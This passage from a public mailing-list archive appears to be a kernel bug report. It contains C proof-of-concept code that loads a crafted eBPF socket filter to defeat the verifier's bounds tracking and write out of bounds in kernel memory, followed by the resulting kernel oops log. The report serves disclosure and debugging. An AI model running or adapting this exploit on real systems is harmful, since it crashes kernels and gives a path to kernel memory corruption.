        .off   = 0,                 \
        .imm   = 0 })
#define BPF_MOV32_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_X,     \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
/* end from kernel */


int bpf_(int cmd, union bpf_attr *attrs) {
    return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

void array_set(int mapfd, uint32_t key, uint32_t value) {
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key    = (uint64_t)&key,
        .value  = (uint64_t)&value,
        .flags  = BPF_ANY,
    };


    int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr);
    if (res)
        err(1, "map update elem");
}


int main(void) {
    union bpf_attr create_map_attrs = {
        .map_type = BPF_MAP_TYPE_ARRAY,
        .key_size = 4,
        .value_size = 4,
        .max_entries = 16
    };
    int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
    if (mapfd == -1)
        err(1, "map create");


    array_set(mapfd, 1, 1);

    char verifier_log[100000];
    struct bpf_insn insns[] = {
        // r9 = 1[1,1] (checked)
        BPF_MOV64_IMM(BPF_REG_9, 1),

        // r0 = 2[?,?]
        BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),

        BPF_MOV64_REG(BPF_REG_TMP, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_TMP, -4), /* allocate 4 bytes stack */
        BPF_MOV32_IMM(BPF_REG_ARG2, 1),
        BPF_STX_MEM(BPF_W, BPF_REG_TMP, BPF_REG_ARG2, 0),
        BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_TMP),
        BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
        BPF_MOV64_REG(BPF_REG_0, 0), /* prepare exit */
        BPF_EXIT_INSN(), /* exit */
        BPF_LDX_MEM(BPF_W, BPF_REG_1, BPF_REG_0, 0),

        // r9 = 1[0,1] (checked)
        BPF_ALU32_IMM(BPF_MOD, BPF_REG_1, 2),

        // r9 = 2[1,2] (checked)
        BPF_ALU32_IMM(BPF_ADD, BPF_REG_1, 1),

        // r9 = 0[1,2]
        BPF_ALU32_REG(BPF_AND, BPF_REG_9, BPF_REG_1),

        // r9 = 1[2,3]
        BPF_ALU32_IMM(BPF_ADD, BPF_REG_9, 1),

        // r9 = 0[1,1]
        BPF_ALU32_IMM(BPF_RSH, BPF_REG_9, 1),

        // r3 = 1[0, 0]
        BPF_MOV32_IMM(BPF_REG_3, 1),
        BPF_ALU32_REG(BPF_SUB, BPF_REG_3, BPF_REG_9),

        BPF_ALU32_IMM(BPF_MUL, BPF_REG_3, 0x10000000),

        BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_3),
        BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_TMP, 0),

        BPF_MOV64_REG(BPF_REG_0, 0), /* prepare exit */
        BPF_EXIT_INSN() /* exit */
    };
    union bpf_attr create_prog_attrs = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = sizeof(insns) / sizeof(insns[0]),
        .insns = (uint64_t)insns,
        .license = (uint64_t)"",
        .log_level = 1,
        .log_size = sizeof(verifier_log),
        .log_buf = (uint64_t)verifier_log
    };
    int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
    if (progfd == -1) {
        perror("prog load");
        puts(verifier_log);
        return 1;
    }
    puts("ok so far?");

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
        err(1, "socketpair");
    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
        err(1, "setsockopt");
    if (write(socks[1], "a", 1) != 1)
        err(1, "write");
    char c;
    if (read(socks[0], &c, 1) != 1)
        err(1, "read res");
    return 0;
}
=====================

Here's the output on my machine:

=====================
[11531.002114] BUG: unable to handle kernel paging request at ffff88021983a370
[11531.002119] IP: [<ffffffff8116db11>] __bpf_prog_run+0xf51/0x12f0
[11531.002125] PGD 2020067
[11531.002126] PUD 2023067
[11531.002127] PMD 0

[11531.002129] Oops: 0002 [#4] SMP
[11531.002131] Modules linked in: cfg80211 nfsd auth_rpcgss nfs_acl
nfs lockd grace fscache sunrpc ppdev sb_edac edac_core joydev pcspkr
snd_intel8x0 serio_raw snd_ac97_codec ac97_bus snd_pcm snd_timer snd
soundcore i2c_piix4 parport_pc parport evbug mac_hid video autofs4
hid_generic usbhid hid psmouse ahci libahci e1000 pata_acpi
[11531.002145] CPU: 0 PID: 1496 Comm: bounds_fail Tainted: G      D
     4.9.0-rc4 #6
[11531.002146] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS
VirtualBox 12/01/2006
[11531.002147] task: ffff880208d654c0 task.stack: ffffc900011f4000
[11531.002148] RIP: 0010:[<ffffffff8116db11>]  [<ffffffff8116db11>]
__bpf_prog_run+0xf51/0x12f0
[11531.002150] RSP: 0018:ffffc900011f7a60  EFLAGS: 00010202
[11531.002151] RAX: ffffc900011f7cbc RBX: ffffc90000ced0e0 RCX: ffff88021983a370
[11531.002151] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000001
[11531.002152] RBP: ffffc900011f7cd8 R08: ffffc900011f7ad0 R09: 0000000000000300
[11531.002153] R10: ffff88020b401280 R11: 0000000000000000 R12: ffffffff8181e6e0
[11531.002153] R13: 0000000000000000 R14: ffffc900011f7de8 R15: 0000000000000001
[11531.002155] FS:  00007f39b0804700(0000) GS:ffff880213c00000(0000)
knlGS:0000000000000000
[11531.002156] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[11531.002156] CR2: ffff88021983a370 CR3: 000000020998d000 CR4: 00000000000006f0
[11531.002160] Stack:
[11531.002161]  0000000000000000 ffff88021983a370 0000000000000002
ffffc900011f7cbc
[11531.002162]  0000000010000000 ffffc900011f7b10 ffffc900011f7ad0
ffffffff810b1d61
[11531.002164]  ffff880208d654c0 ffffc900011f7cbc 0000000000000000
ffffc900011f7cc0
[11531.002165] Call Trace:
[11531.002170]  [<ffffffff810b1d61>] ? update_curr+0x71/0x180
[11531.002172]  [<ffffffff810ad7ac>] ? __enqueue_entity+0x6c/0x70
[11531.002173]  [<ffffffff810b4302>] ? enqueue_entity+0x502/0xd40
[11531.002175]  [<ffffffff810ad7ac>] ? __enqueue_entity+0x6c/0x70
[11531.002176]  [<ffffffff810b4302>] ? enqueue_entity+0x502/0xd40
[11531.002178]  [<ffffffff810b5dbb>] ? check_preempt_wakeup+0x14b/0x210
[11531.002181]  [<ffffffff811f3863>] ? __kmalloc_node_track_caller+0x1c3/0x280
[11531.002185]  [<ffffffff816d2b8e>] ? __alloc_skb+0x7e/0x280
[11531.002186]  [<ffffffff816d0b71>] ? __kmalloc_reserve.isra.37+0x31/0x90
[11531.002188]  [<ffffffff816d2b5e>] ? __alloc_skb+0x4e/0x280
[11531.002189]  [<ffffffff816d2ba2>] ? __alloc_skb+0x92/0x280
[11531.002191]  [<ffffffff816d2dea>] ? alloc_skb_with_frags+0x5a/0x1c0
[11531.002193]  [<ffffffff813e3af8>] ? copy_from_iter+0x88/0x370
[11531.002197]  [<ffffffff81701c90>] sk_filter_trim_cap+0x70/0x1a0
[11531.002200]  [<ffffffff8178cd88>] unix_dgram_sendmsg+0x218/0x660
[11531.002204]  [<ffffffff816c9a38>] sock_sendmsg+0x38/0x50
[11531.002205]  [<ffffffff816c9ac8>] sock_write_iter+0x78/0xd0
[11531.002208]  [<ffffffff812167b4>] __vfs_write+0xc4/0x120
[11531.002210]  [<ffffffff81217572>] vfs_write+0xb2/0x1b0
[11531.002212]  [<ffffffff812188a6>] SyS_write+0x46/0xa0
[11531.002215]  [<ffffffff817f45fb>] entry_SYSCALL_64_fastpath+0x1e/0xad
[11531.002216] Code: 24 c4 0f b6 43 01 48 0f bf 53 02 48 83 c3 08 48
89 c1 c0 e8 04 83 e1 0f 83 e0 0f 48 8b 8c cd 90 fd ff ff 48 8b 84 c5
90 fd ff ff <89> 04 11 0f b6 03 41 ff 24 c4 0f b6 43 01 48 89 c2 c0 e8
04 83
[11531.002231] RIP  [<ffffffff8116db11>] __bpf_prog_run+0xf51/0x12f0
[11531.002233]  RSP <ffffc900011f7a60>
[11531.002233] CR2: ffff88021983a370
[11531.002235] ---[ end trace 86ae051962a2d276 ]---
=====================

^ permalink raw reply


This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.